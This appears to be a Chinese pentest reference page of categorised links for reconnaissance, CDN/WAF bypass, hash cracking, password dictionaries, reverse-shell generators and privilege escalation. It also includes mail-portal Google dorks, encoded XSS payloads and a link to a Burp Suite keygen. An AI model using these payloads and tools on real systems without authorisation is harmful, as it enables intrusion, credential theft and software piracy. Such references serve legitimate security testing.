# 在线工具

在线工具集合

```
             ,----------------,              ,---------,
        ,-----------------------,          ,"        ,"|
      ,"                      ,"|        ,"        ,"  |
     +-----------------------+  |      ,"        ,"    |
     |  .-----------------.  |  |     +---------+      |
     |  | C:\>whoami      |  |  |     | -==----'|      |
     |  |                 |  |  |     |         |      |
     |  |                 |  |  |/----|`---=    |      |
     |  |                 |  |  |   ,/|==== ooo |      ;
     |  |                 |  |  |  // |(((( [33]|    ,"
     |  `-----------------'  |," .;'| |((((     |  ,"
     +-----------------------+  ;;  | |         |,"
        /_)______________(_/  //'   | +---------+
   ___________________________/___  `,
  /  oooooooooooooooo  .o.  oooo /,   \,"-----------
 / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,"
/_==__==========__==_ooo__ooo=_/'   /___________,"
`-----------------------------'
```

## 信息收集

### 综合信息

[微步在线威胁情报社区](https://x.threatbook.cn)

[VirusTotal](https://www.virustotal.com/gui/home/url)

[RiskIQ Community Edition](https://community.riskiq.com/home)

[AlienVault - Open Threat Exchange](https://otx.alienvault.com/) （快速查询子域相关）

[talosintelligence.com](https://talosintelligence.com) （收集企业邮服等信息）

[Intelligence X](https://intelx.io) （信息泄露）

[Crunchbase Company Profile & Funding](https://www.crunchbase.com/organization/google) （国外企业）

[OpenCorporates :: The Open Database Of The Corporate World](https://opencorporates.com/) （国外企业）

[风鸟-企业查询平台-轻松查企业-查失信-查法人-企业信用-工商查询](https://www.riskbird.com/) （国内企业-免费）

[爱企查-工商查询\_专业企业信息查询平台\_公司查询\_老板查询\_工商信息查询系统](https://www.aiqicha.com/)

[企查查 - 查企业\_查老板\_查风险\_企业信息查询系统](https://www.qcc.com/)

### 搜索引擎

[Google搜索](https://www.google.com)

[Bing搜索](https://www.bing.com)

[Baidu搜索](https://www.baidu.com)

[Shodan网络空间搜索引擎](https://www.shodan.io)

[FOFA Pro - 网络空间安全搜索引擎，网络空间搜索引擎，网络空间测绘，安全态势感知](https://fofa.so)

[ZoomEye - 网络空间搜索引擎](https://www.zoomeye.org)

[Spyse — Internet Assets Search Engine](https://spyse.com/)

[LeakIX](https://leakix.net/)

[FullHunt | Expose Your Attack Surface](https://fullhunt.io/)

[QAXhunter](https://hunter.qianxin.com/)[全球鹰](https://hunter.qianxin.com/)

[360网络空间测绘Quake](https://quake.360.net/)

[Hunter Search Engine](https://hunter.how/)

[腾讯云安全\_威胁情报中心](https://tix.qq.com/) (dns数据全)

[奇安信威胁情报中心](https://ti.qianxin.com/) (dns数据全)

[Google Hacking Database](https://www.exploit-db.com/google-hacking-database)

[进阶Google搜索](https://w-e-b.site/?act=google-search)

[Google Hacking](https://www.0xll.cc/google_hack.html) （快捷/github/pastbin）

[Bug Bounty Helper](https://dorks.faisalahmed.me) （Google Hacking）

[Public Buckets by GrayhatWarfare](https://buckets.grayhatwarfare.com/) （公共存储桶搜索）

[recon.cloud](https://recon.cloud/)（在线搜索目标网站下的云资产）

### 子域/IP/旁站C段

#### 子域发现

**基于DNS**

[The World's Largest Repository of Historical DNS data](https://securitytrails.com)（综合型-推荐）

[Welcome to Robtex!](https://www.robtex.com)（综合型-推荐）

[RapidDNS Rapid DNS Information Collection](https://rapiddns.io) （推荐）

[bufferover](https://dns.bufferover.run/dns?q=baidu.com) （推荐）

[DNSdumpster.com](https://dnsdumpster.com) （推荐）

[searchdns.netcraft.com](https://searchdns.netcraft.com)（推荐）

[搜索网站的所有子域](https://suip.biz/?act=amass)

[即时搜索任何站点的子域](https://w-e-b.site/?act=findomain)（接口多速度快）

[在线调查工具 - 反向IP，NS，MX，WHOIS和搜索工具](https://dnslytics.com)（综合型）

[DNSDB-历史DNS查询](https://dnsdb.io/zh-cn/)

[IP History - ViewDNS.info](https://viewdns.info/iphistory/?domain=www.baidu.com)

**基于证书**

[crt.sh - 证书搜索](https://crt.sh)

[网络上的 HTTPS 加密 – Google 透明度报告](https://transparencyreport.google.com/https/certificates)

[Censys.io](https://censys.io/certificates)（综合型）

**基于爆破**

[在线子域名爆破-Domain fuzz](https://phpinfo.me/domain/)

[在线子域名爆破-子成君提供](http://z.zcjun.com)

#### IP-/-探测

[域名查ip、ip反查域名](http://site.ip138.com)

[nslookup查询](http://tool.chinaz.com/nslookup/)

[多个地点Ping服务器,网站测速 - 站长工具](http://ping.chinaz.com)

[同IP网站查询，同服务器网站查询 - 站长工具](http://stool.chinaz.com/same)

[Reverse IP Lookup - Find All Hosts Sharing An IP Address](https://www.ipaddress.com/reverse-ip-lookup)

[Ping查询\_专业的 IP 地址库\_IPIP.NET](https://tools.ipip.net/ping.php)

[网站IP地址查询\_批量查询网站IP地址\_买链帮手,网站批量查询工具](http://www.link114.cn/ip/)（支持批量ip查询）

[发现隐藏在CloudFlare背后的坏人](http://www.crimeflare.org:82/cfs.html)（CloudFlare老外ip数据库）

#### 旁站C段

[Chinaz-同IP网站查询，同服务器网站查询](http://s.tool.chinaz.com/same)

[BGPView - BGP Toolkit and BGP ASN Routing Lookup Tool](https://bgpview.io/)

[Hurricane Electric BGP Toolkit](https://bgp.he.net) （根据企业名确定ASN号得到企业IP资产）

[Online investigation tool - Reverse IP, NS, MX, WHOIS and Search Tools](https://dnslytics.com/) （ASN）

[ASN/IP Whois Query | IPInsight.io](https://whois.ipinsight.io/) （ASN）

可用子域发现->DNS->综合型

#### 模糊匹配

[Domain Name Search Engine - Namedroppers](https://www.namedroppers.com/)

### 邮箱采集

[红队测试之邮箱打点](https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==\&mid=2247483886\&idx=1\&sn=4c98836e278737054a2d32416007fa27\&chksm=9b39275fac4eae490e0c5ca5f90887aa3b8a441f137d18d3b73470ba46577b41ea3a9cfa1342\&mpshare=1\&scene=23\&srcid=\&sharer_sharetime=1589279316797\&sharer_shareid=596f231001c1b1188da61ae064765cc8#rd)（推荐[theHarvester](https://github.com/laramies/theHarvester)）

[红队选手是如何收集邮箱的](https://mp.weixin.qq.com/s/GbyKmTiiWh8amTQ6Vv0kgQ) （推荐[snov.io](https://snov.io)）

[Phonebook.cz - Intelligence X](https://phonebook.cz)

[搜邮箱- 搜邮箱](https://souyouxiang.com)（推荐）

[RocketReach - 为任何人查找电子邮件、电话和社交媒体链接](https://rocketreach.co)

[LinkedIn](https://www.linkedin.com)

[微匹-邮箱](http://veryvp.com/Emailgo/index)

[Find email addresses in seconds • Hunter (Email Hunter)](https://hunter.io)

[Find email addresses of companies and people - Skymem](http://www.skymem.info)

[Search for domains | Email Format](https://www.email-format.com/i/search/)

[Free SPF/DKIM/DMARC analyzer tools](https://dmarcly.com/tools/)（SPF/DKMI/DMARC验证）

[SPF Query Tool](https://www.kitterman.com/spf/validate.html)（SPF验证）

[垃圾邮件检测](https://www.mail-tester.com/) （检测发信邮箱垃圾邮件的匹配度）

[邮件伪造之SPF绕过的5种思路](https://www.t00ls.net/viewthread.php?tid=56426\&highlight=%E9%82%AE%E4%BB%B6%E4%BC%AA%E9%80%A0)

#### 邮箱服务

```
# 邮服归属

1. 判断是服务商提供、自建mail服务
2. 查看解析记录中的MX记录、TXT记录
3. 查看服务商是否提供邮箱服务

# 邮服登录口

1. 通过MX记录找到入口
我们拿到目标网站的时候，首先要先从MX记录域名找到他的真实ip地址（某些目标可能是的是第三方邮件服务器，这种情况mx记录没啥用了）；
然后针对这个ip地址的c段进行扫描（25、109、110、143、465、995、993端口），一般情况下都很容易找到目标的邮件服务器入口。
2. 通过扫描子域名的的方式找到邮件入口
这里扫描子域名的工具有很多，如Sublist3r、TeeMO、LangSrcCurise、挖掘机等不一一举例。
3. 通过搜索引擎找入口
site:target.com intitle:"Outlook Web App"
site:target.com intitle:"mail"
site:target.com intitle:"webmail"
Shodan、fofa、zoomeye直接搜索mx记录的IP、子域名等。
4. 通过不存在邮箱的退信
查看退信邮件原文
```

### 指纹识别

[云悉WEB资产梳理-在线CMS指纹识别平台 - 云悉安全](http://www.yunsee.cn)（综合型-推荐）

[在线指纹识别,在线cms识别小插件--BugScaner](http://whatweb.bugscaner.com/look/)

[ThreatScan - 免费的网站在线安全检测平台-TScan](https://scan.top15.cn/web/)

[Wappalyzer](https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg) （浏览器插件）

### CDN\WAF

```
# 判断cdn

手动ping（根据返回的特殊cdn主机名判断）
nslookup（返回域名解析对应多个 IP 地址，网站可能部署CDN业务）
在线多地区ping
浏览器插件Wappalyzer
历史解析记录（判断 IP 是否在常见 CDN 服务商的服务器 IP 段上、看结果是否有大量不相关的域名存在）
https证书（有的cdn颁发的证书带有cdn名称）
观察请求响应的返回数据的头部，是否有 CDN 服务商标识
若 asp 或者 asp.net 网站返回头的 server 不是 IIS、而是 Nginx，则多半使用了nginx反向代理到 CDN
在线检测：https://www.cdnplanet.com/tools/cdnfinder/

# 判断waf

查看返回包有无WAF字样
waf00f
查看拦截页面信息
```

#### BypassCDN

```
CDN 2021 完全攻击指南 （一）

https://www.anquanke.com/post/id/227818

一、通过查询 DNS 记录 / IP 历史记录 / 子域名 等数据记录
二、通过 Email 邮局
三、通过 SSL 证书
四、通过海外 DNS 查询
五、通过敏感文件泄露
六、通过变更的域名
七、 通过 APP 移动端应用
八、通过 F5 LTM 解码
九、通过 CDN 标头特征值
十、通过 XML-RPC PINGBACK 通信
十一、通过 FTP/SCP 协议
十二、利用 Websocket 协议
十三、通过社会工程学
十四、通过网站漏洞
十五、通过全网扫描
十六、通过 virtual-host 碰撞
十七、通过 favicon.ico 哈希特征
十八、通过网页源码特征值
十九、通过网站远程资源业务
二十、通过 CDN 机器
二十一、通过流量耗尽、流量放大攻击
二十二、通过域名备案信息广域探测
二十三、利用 CDN 服务商默认配置
二十四、通过 SSH 指纹
二十五、使用 CloudFair 工具

CDN 2021 完全攻击指南 （二）

https://www.anquanke.com/post/id/231437
太高级了

CDN 2021 完全攻击指南 （三）

https://www.anquanke.com/post/id/231441
太高级了
```

#### BypassWAF

```
https://waf-bypass.com/
```

### 端口扫描

[在线端口扫描仪由Nmap提供支持- HackerTarget.com](https://hackertarget.com/nmap-online-port-scanner/)

[在线Nmap扫描仪-nmap.online](https://nmap.online)

[Nmap提供免费和在线开放端口以及正在运行的服务扫描程序](https://w-e-b.site/?act=nmap)

[带有选项的GUI Nmap在线扫描仪](https://w-e-b.site/?act=nmap-online)（可自定义）

[IPv6 addresses Port scaning (nmap for IPv6)](https://w-e-b.site/?act=nmap-ipv6)（IPv6）

[NMAP SCRIPT HELP -VER007](https://www.lshack.cn/nmap-script/nmap-script-help.html)（nmap脚本手册）

### Whois查询

[爱特高级WHOIS查询系统](https://whois.aite.xyz)（可以查看明文信息）

[Whois Search, Domain History, Reverse IP/NS Lookups and more](https://whoisrequest.com)

[WHOIS Search, Domain Name, Website, and IP Tools - Who.is](https://who.is)

[BackyardRevolution.org WHOIS，DNS和域信息-DomainTools](http://whois.domaintools.com)

[国家域名 Whois - 中国互联网络信息中心](https://whois.cnnic.cn/WelcomeServlet)

[IP Whois - 中国互联网络信息中心 ](http://ipwhois.cnnic.net.cn)(可以拓展ip段)

### 镜像历史

{% embed url="<https://archive.org/>" %}

### APP收集

[https://apkpure.com/](https://apkpure.com)

[https://apkfun.com/](https://apkfun.com)

[https://www.qimai.cn/](https://www.qimai.cn)（适用国内企业）

### 域名工具

#### 单一域名

[站长工具-百度权重排名查询-站长seo查询 - 爱站网](https://www.aizhan.com)

[Chinaz-网站Alexa排名](https://alexa.chinaz.com/default.html)

[SEO综合查询 - 站长工具](http://seo.chinaz.com)

#### 批量域名查询

[买链帮手\_最好用的网站批量查询工具](http://www.link114.cn)（link114推荐）

[域名批量查询](https://www.xz.com/domainTool/batchSearch)（综合型）

#### 域名处理

[一键提取Url的根域名](https://www.a-site.cn/tool/domain/)

### 插件扩展

<table><thead><tr><th width="285">插件名称（Chrome）</th><th>功能</th></tr></thead><tbody><tr><td>Charset</td><td>网页编码修改</td></tr><tr><td>FeHelper</td><td>JS/JSON/代码美化...</td></tr><tr><td>HackBar</td><td>编码解码/发包测试</td></tr><tr><td>Proxyverse</td><td>端口代理</td></tr><tr><td>ScanAnnotation</td><td>F12 快速显示页面注释内容</td></tr><tr><td>Shodan</td><td>IP识别</td></tr><tr><td>Wappalyzer</td><td>指纹识别</td></tr><tr><td>Web Scraper</td><td>浏览器爬虫</td></tr><tr><td>Modify Header Value</td><td>修改请求头</td></tr><tr><td>X-Forwarded-For Header</td><td>XFF头</td></tr><tr><td>Hack-Tools</td><td>集成各种反弹shell、sql、xss、msf命令...</td></tr><tr><td>FindSomething</td><td><a href="https://github.com/ResidualLaugh/FindSomething">JS接口获取、链接提取</a></td></tr><tr><td>Penetration Testing Kit</td><td>抓包测试、加解密、</td></tr><tr><td>Authenticator</td><td>绑定二次认证码</td></tr><tr><td>SourceDetector-dist</td><td><a href="https://github.com/Lz1y/SourceDetector-dist">自动发现.map文件</a></td></tr><tr><td>SingleFile</td><td>网页克隆</td></tr><tr><td>User-Agent Switcher and Manager</td><td>深度User-Agent指纹伪装</td></tr></tbody></table>

<table><thead><tr><th width="284">插件名称（Burp)</th><th>功能</th></tr></thead><tbody><tr><td>新版下载</td><td><a href="https://portswigger.net/burp/releases/">https://portswigger.net/burp/releases</a></td></tr><tr><td>注册机</td><td><a href="https://down.52pojie.cn/Tools/Network_Analyzer/">https://down.52pojie.cn/Tools/Network_Analyzer</a></td></tr><tr><td>jython-standalone</td><td><a href="https://search.maven.org/artifact/org.python/jython-standalone">https://search.maven.org/artifact/org.python/jython-standalone</a></td></tr><tr><td>BurpShiroPassiveScan</td><td><a href="https://github.com/pmiaowu/BurpShiroPassiveScan">https://github.com/pmiaowu/BurpShiroPassiveScan</a></td></tr><tr><td>BurpBountyPlus</td><td><a href="https://github.com/ggg4566/BurpBountyPlus">https://github.com/ggg4566/BurpBountyPlus</a></td></tr><tr><td>BurpFastJsonScan</td><td><a href="https://github.com/pmiaowu/BurpFastJsonScan">https://github.com/pmiaowu/BurpFastJsonScan</a></td></tr><tr><td>FastJsonScan</td><td><a href="https://github.com/zilong3033/fastjsonScan">https://github.com/zilong3033/fastjsonScan</a></td></tr><tr><td>log4j2Scan</td><td><a href="https://github.com/pmiaowu/log4j2Scan">https://github.com/pmiaowu/log4j2Scan</a></td></tr><tr><td>Log4j2Scan</td><td><a href="https://github.com/whwlsfb/Log4j2Scan">https://github.com/whwlsfb/Log4j2Scan</a></td></tr><tr><td>SpringScan</td><td><a href="https://github.com/metaStor/SpringScan">https://github.com/metaStor/SpringScan</a></td></tr><tr><td>SpringSpider</td><td><a href="https://github.com/whwlsfb/SpringSpider">https://github.com/whwlsfb/SpringSpider</a></td></tr><tr><td>TsojanScan</td><td><a href="https://github.com/Tsojan/TsojanScan">https://github.com/Tsojan/TsojanScan</a></td></tr><tr><td>Turbo Intruder</td><td><a href="https://mp.weixin.qq.com/s/CoTlpOOq2-_0ZzVWc42Q5w">https://mp.weixin.qq.com/s/CoTlpOOq2-_0ZzVWc42Q5w</a></td></tr><tr><td>Burp Requests</td><td><a href="https://github.com/silentsignal/burp-requests/">https://github.com/silentsignal/burp-requests</a></td></tr><tr><td>burpFakeIP</td><td><a href="https://github.com/TheKingOfDuck/burpFakeIP">https://github.com/TheKingOfDuck/burpFakeIP</a></td></tr><tr><td>Knife</td><td><a href="https://github.com/bit4woo/knife">https://github.com/bit4woo/knife</a></td></tr><tr><td>NEW_xp_CAPTCHA</td><td><a href="https://github.com/smxiazi/NEW_xp_CAPTCHA">https://github.com/smxiazi/NEW_xp_CAPTCHA</a></td></tr><tr><td>Captcha Killer</td><td><a href="https://github.com/c0ny1/captcha-killer">https://github.com/c0ny1/captcha-killer</a></td></tr><tr><td>Chunked Coding Converter</td><td><a href="https://github.com/c0ny1/chunked-coding-converter">https://github.com/c0ny1/chunked-coding-converter</a></td></tr><tr><td>BurpSuite_403Bypasser</td><td><a href="https://github.com/sting8k/BurpSuite_403Bypasser">https://github.com/sting8k/BurpSuite_403Bypasser</a></td></tr><tr><td>BypassPro</td><td><a href="https://github.com/0x727/BypassPro">https://github.com/0x727/BypassPro</a></td></tr><tr><td>AWS Security Checks</td><td><a href="https://portswigger.net/bappstore/f078b9254eab40dc8c562177de3d3b2d">https://portswigger.net/bappstore/f078b9254eab40dc8c562177de3d3b2d</a></td></tr><tr><td>Wsdler</td><td><a href="https://github.com/portswigger/wsdler">https://github.com/portswigger/wsdler</a></td></tr><tr><td>.NET Beautifier</td><td><a href="https://github.com/portswigger/dotnet-beautifier">https://github.com/portswigger/dotnet-beautifier</a></td></tr><tr><td>ViewState Editor</td><td><a href="https://github.com/portswigger/viewstate-editor">https://github.com/portswigger/viewstate-editor</a></td></tr><tr><td>HaE</td><td><a href="https://github.com/gh0stkey/HaE">https://github.com/gh0stkey/HaE</a></td></tr><tr><td>Passive Scan Client</td><td><a href="https://github.com/yhy0/passive-scan-client">https://github.com/yhy0/passive-scan-client</a></td></tr><tr><td>burp-wildcard</td><td><a href="https://github.com/hvqzao/burp-wildcard">https://github.com/hvqzao/burp-wildcard</a></td></tr><tr><td>APIKit</td><td><a href="https://github.com/API-Security/APIKit">https://github.com/API-Security/APIKit</a></td></tr><tr><td>JWT4B</td><td><a href="https://github.com/ozzi-/JWT4B">https://github.com/ozzi-/JWT4B</a></td></tr><tr><td>BurpCrypto</td><td><a href="https://github.com/whwlsfb/BurpCrypto">https://github.com/whwlsfb/BurpCrypto</a></td></tr><tr><td>burp-awesome-tls</td><td><a href="https://github.com/sleeyax/burp-awesome-tls">https://github.com/sleeyax/burp-awesome-tls</a></td></tr><tr><td>burp-requests-Python</td><td><a href="https://github.com/silentsignal/burp-requests/releases">https://github.com/silentsignal/burp-requests/releases</a></td></tr><tr><td>XG_SQL</td><td><a href="https://github.com/xiaogang000/XG_SQL">https://github.com/xiaogang000/XG_SQL</a></td></tr><tr><td>xia_Yue（瞎越）</td><td><a href="https://github.com/smxiazi/xia_Yue">https://github.com/smxiazi/xia_Yue</a></td></tr><tr><td>burpJsEncrypter</td><td><a href="https://github.com/TheKingOfDuck/burpJsEncrypter">https://github.com/TheKingOfDuck/burpJsEncrypter</a></td></tr></tbody></table>

## 在线工具

### 编码解码

[字节换算器\_字节转换器\_电脑内存/硬盘大小字节单位换算器\_55查询](http://cunchu.55cha.com/)

[php编码转换工具 - Base64+Gzinflate在线压缩 - 站长工具 - 追溯](http://www.zhuisu.net/tool/phpencode.php)

[Ascii转中文字符-中文转Ascii编码-在线Ascii编码解码工具](http://www.jsons.cn/ascii/)

[XSS'OR - Hack with JavaScript](http://xssor.io)

[\[代码审计\] 知识星球小工具](https://zsxq.tricking.io/tool/)（全）

[HTML特殊字符编码对照表](https://www.jb51.net/onlineread/htmlchar.htm)

[javascript编码自动化](http://0xcc.net/jsescape/)

[Xss测试字符串转换工具-工具猫](https://www.toolmao.com/xsstranser)（String.fromCharCode()）

[Unicode - Compart](https://www.compart.com/en/unicode/) （bypass waf [参考](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)）

[PlayGround](https://tool.leavesongs.com)（全）

### 加密解密

#### 哈希识别

[哈希类型识别](https://w-e-b.site/?act=hashtag)

#### 哈希破解

[NTLM密码加密计算器](https://www.jisuan.mobi/p11BbzHum6b3uyJW.html)（明文转hash）

[Bcrypt Generator - Online Hash Generator and Checker](https://bcrypt-generator.com/)

[利用独有算法加上CUDA平台算力支持百分百破译LMHASH、Net-NTLMv1密文](https://crypto.lab.mistiny.com/)

[NTLMRain](https://lookup.ntlmrain.com/) （从 NetNTLMv1 响应中恢复 NT 哈希值在线工具，包含了4TB的彩虹表）

[cmd5在线解密破解,md5解密加密](https://www.cmd5.com) （推荐）

[Get Cracking | crack.sh](https://crack.sh/get-cracking/)

[ObjectifSécurité - Ophcrack](https://www.objectif-securite.ch/ophcrack)

[ChaMd5.Org](http://www.chamd5.org)

[SOMD5](https://www.somd5.com)

[md5 cracker - The fastest way to recover your lost passwords - Crack it](http://md5this.com)

#### 大小转换

字节换算器\_字节转换器\_电脑内存/硬盘大小字节单位换算器\_55查询

### SQL注入

[带有sqlmap的免费和在线SQL注入扫描程序](https://w-e-b.site/?act=sqlmap)

[SQL注入知识库](https://websec.ca/kb/sql_injection)

[NetSPI SQL注入Wiki](https://sqlwiki.netspi.com)

[SQL injection cheat sheet | Web Security Academy](https://portswigger.net/web-security/sql-injection/cheat-sheet)

### XSS备忘

[ezXSS](https://ez.pe/manage/account/signup) (开源免费xss平台)

[HTML5 Security Cheatsheet](https://html5sec.org)

[Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) （portswigger）

[XSS 过滤器规避备忘单](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) （OWASP）

[Tiny XSS Payloads](https://terjanq.github.io/Tiny-XSS-Payloads/index.html) （极短）

[Bypass xss过滤的测试方法 - 五道口杀气](http://drop.zone.ci/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html)

[XSS\_Cheat\_Sheet\_2020\_Edition](https://github.com/heroanswer/XSS_Cheat_Sheet_2020_Edition)（github）

[( XSS ) Vulnerability Payload List](https://github.com/payloadbox/xss-payload-list)（github）

#### 编码小结

```
一、浏览器解析机制

https://0verwatch.top/xss-encodeorder.html

二、JS编码与HTML编码区分

HTML实体可以使用

十进制 (&#97;)、十六进制 (&#x61;)

javascript可以使用

Unicode编码 (\u0061)、ASCII (String.fromCharcode(97))、八进制 (\141)、十六进制 (\x61)

三、编码区分

对于HTML编码

1.<img src=1 onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">  （HTML实体十进制编码）
2.<img src=1 onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;"> （HTML实体十六进制编码）

对于JS编码

1.<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029");</script>（JS Unicode编码）
2.<script>eval("\141\154\145\162\164\50\57\170\163\163\57\51");</script>（JS八进制编码）
3.<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");</script>（JS十六进制编码）
```

### 反弹SHELL

[Reverse shell cheatsheet](https://ir0ny.top/pentest/reverse-encoder-shell.html)（快速生成）

[Online - Reverse Shell Generator](https://www.revshells.com) （推荐）

[Reverse Shell as a Service](https://github.com/lukechilds/reverse-shell)（自动化反弹脚本）

[RUNTIME.EXEC有效负载生成器](https://ares-x.com/tools/runtime-exec/)

### DNSLOG

[Interactsh | Web Client](https://app.interactsh.com/) (Projectdiscory官方提供)

[ByteVet | Free tools](https://byte.vet/)

[CallBack.Red Dns、Http、Rmi、Ldap Log、CmdtoDNSLog](https://www.callback.red/) (自动带外数据记录)

### 密码字典

#### 常用字典

<pre><code>提供了 25 个在线破解和 25 个离线破解接口，支持 48 种算法破解
• https://github.com/L-codes/pwcrack-framework [密码破解框架]

常见设备
• https://github.com/7hang/Fuzz_dic
• https://github.com/Sab0tag3d/Network_password [cisco]

国外通用大字典
• https://github.com/Stardustsky/SaiDict
• https://github.com/danielmiessler/SecLists

自己收集整理的端口，子域，账号密码，其他杂七杂八字典，用于自己使用。贴近实战
• https://github.com/TheKingOfDuck/fuzzDicts [Web Pentesting Fuzz 字典]
• https://github.com/r35tart/RW_Password [此项目提取收集到强盗的密码中符合条件的弱密码]
• https://github.com/ffffffff0x/AboutSecurity [用于渗透测试和红队基础设施建设的 payload 和 bypass 字典]
• https://github.com/cwkiller/Pentest_Dic
• https://github.com/gh0stkey/Web-Fuzzing-Box [Web Fuzzing Box]
• https://github.com/random-robbie/bruteforce-lists [目录/api/脚本...]
• https://github.com/k8gege/PasswordDic
• https://github.com/3had0w/Fuzzing-Dicts
• https://github.com/j3ers3/PassList
• https://github.com/fuzz-security/SuperWordlist [基于实战沉淀下的各种弱口令字典]
• https://github.com/Daveqqq/weak-passwords-top200 [各国密码top200]
• https://github.com/t43Wiu6/blackJack-Dicts [参考十余个项目整理的目录和文件字典]
• https://github.com/f0ng/JavaFileDict [Java应用的一些配置文件/路径字典 ]
• https://github.com/w2n1ck/phone_dict [一个开发测试常用的特殊手机号字典]
<strong>• https://github.com/rootphantomer/Blasting_dictionary [a5源码网源码目录字典]
</strong>• https://github.com/SexyBeast233/SecDictionary [手机号字典]
• https://github.com/Bo0oM/fuzz.txt [高危敏感目录fuzz-长期维护]
• https://wordlists.assetnote.io/ [Assetnote Wordlists-国外整理字典]

somd5的字典
• https://www.somd5.com/download/dict/
    SoMD5-Monthly-statistics/                          16-Jul-2020 14:47       -
    crack-software/                                    16-Jul-2020 14:47       -
    china-all-hanzi.zip                                16-Jul-2020 14:47     52K
    china-gb3500.zip                                   16-Jul-2020 14:47     10K
    china-xingshi.zip                                  16-Jul-2020 14:47    3006
    domain_suffix.zip                                  16-Jul-2020 14:47     26K
    english.zip                                        16-Jul-2020 14:47     51K
    mobile.zip                                         16-Jul-2020 14:47    724K
    name-pinyin-quanpin.zip                            16-Jul-2020 14:47      6M
    name-pinyin-shouzimu.zip                           16-Jul-2020 14:47     34K
    top1w.zip                                          16-Jul-2020 14:47     40K
    username-num-top1000.zip                           16-Jul-2020 14:47    3156
    xingming.zip                                       16-Jul-2020 14:47    128K
    yyyymmdd-1960-2020.zip                             16-Jul-2020 14:47     40K
• https://www.somd5.com/somd5top10w.tar.gz

中文拼音
• https://github.com/rakjong/top-500-username
• https://github.com/ffffffff0x/name-fuzz [针对目标已知信息的字典生成工具]
• https://github.com/WangYihang/ccupp [基于社会工程学的弱口令密码字典生成工具]
• https://github.com/LandGrey/ChineseMaskReflector [使用掩码生成自定义中文用户名拼音爆破字典]

域用户枚举字典 
• https://github.com/attackdebris/kerberos_enum_userlists

定制化自定义生成
• https://github.com/ffffffff0x/gendict
• https://github.com/Mebus/cupp
• https://github.com/HongLuDianXue/BaiLu-SED-Tool
• https://github.com/bit4woo/passmaker
</code></pre>

#### 密码策略

[搜密码 - web中间件/web应用/IOT设备/视频设备/路由器等默认密码查询](http://www.sopwd.com) - 搜密码 sopwd.com

[Default Passwords - CIRT.net](https://cirt.net/passwords) - 提供528个供应商，2102个密码的默认密码查询

[Default Router Login, Passwords and IP Addresses](https://www.cleancss.com/router-default/) - 只需选择设备品牌，就可以查找

[HUAWEI 默认账号/密码查询工具](https://support.huawei.com/onlinetoolweb/pqt/index.jsp) **-** HUAWEI企业网络产品，可根据产品/版本或关键字快速检索信息

[路由器密码社区数据库](http://www.routerpasswords.com) - 查找路由器的默认密码，输入厂商就可以找到默认密码列表

[默认路由器密码列表](https://portforward.com/router-password/) - Internet上最全面的默认路由器密码列表

[默认路由器用户名和密码](https://bestvpn.org/default-router-passwords/) - 路由器用户名，密码和IP的综合列表。提供了2354个默认用户密码查询

[工具锚路由器默认密码查询](https://toolmao.com/baiduapp/routerpwd/) - 支持国内主流的路由器品牌，提供在线查询功能

[默认密码列表](https://datarecovery.com/rd/default-passwords/) - 提供了一个默认密码列表，不定期更新，可通过网页CTRL+F搜索

#### 密码生成

[生成随机密码 - 密码生成器](https://suijimimashengcheng.51240.com)

[密码生成器-LastPass](https://www.lastpass.com/zh/password-generator)

### 数据处理

#### 邮件分析

[邮件原文分析](https://w-e-b.site/?act=email)

#### 文件分析

[从可执行文件中提取所有字符串](https://w-e-b.site/?act=rabin2)

[显示有关可执行文件的信息](https://w-e-b.site/?act=rabin2i)

#### 杂七杂八

[Burp Post、Get数据包转为上传multipart/form-data格式数据包工具 - 数据包格式在线转换](http://ld8.me/multipart.php)

[在线二维码解码器 二维码安全检测工具](http://jiema.wwei.cn)

[PDF 转换为 PPT 和 PPTX 文件](https://www.ilovepdf.com/zh_cn/pdf_to_powerpoint)

[cookie字符串转json(dict字典)](http://tools.bugscaner.com/cookietodict)

[字数统计\_在线字数计算器\_英文汉字字数统计\_兼容手机版\_一站阅读](https://www.a-site.cn/tool/zi/)

[草料二维码生成器](https://cli.im)

[iHateRegex - 正则表达式](https://ihateregex.io)

### 点击劫持

[Quickjack - samy kamkar](http://samy.pl/quickjack/quickjack.html)

### 点击分析

[实时Web分析| Clicky](https://clicky.com)

### 提权辅助

[极光无限-安全扫描仪](https://detect.secwx.com)（通用）

[提权辅助网页](https://bugs.hacking8.com/tiquan/)（Win）

[Windows Privilege Escalation Exploit Search](http://blog.neargle.com/win-powerup-exp-index/)（Win）

[Find Missing Patches](https://patchchecker.com)（Win）

[enumy](https://github.com/luke-goddard/enumy)（Linux）

[GTFOBins](https://gtfobins.github.io)（Linux - 二进制速查 ）

[LOLBAS](https://lolbas-project.github.io) （Win - 二进制速查）

[WADComs](https://wadcoms.github.io)（AD环境渗透命令速查）

### 杀软识别

[windows进程识别-棱角社区](https://forum.ywhack.com/bountytips.php?process) （高亮、进程很全）

[刨洞技术交流](http://42.193.251.15/tasklist.php) （维护的很好）

[杀软在线识别-渊龙Sec安全团队](https://av.aabyss.cn/)

[Windows杀软/运维/办公进程在线识别-\[潇湘信安\]](https://av8.de5.net/)

### 沙盒分析

[Interactive Online Malware Analysis Sandbox - ANY.RUN](https://app.any.run)

<https://sandbox.ti.qianxin.com/sandbox/page>

### APP安全

[Android Security Wiki](http://www.droidsec.cn/android-security-basic/)

[摸瓜](https://mogua.co/) （app在线分析很详细）

[免费在线脱壳](https://56.al/) （Android）

[应用商店ipa提取](https://ipadump.com/#/dump) (IOS)

[PCAPdroid](https://github.com/emanuele-f/PCAPdroid) （无需root的抓包神器，https需配合 [PCAPdroid-mitm](https://github.com/emanuele-f/PCAPdroid-mitm)）

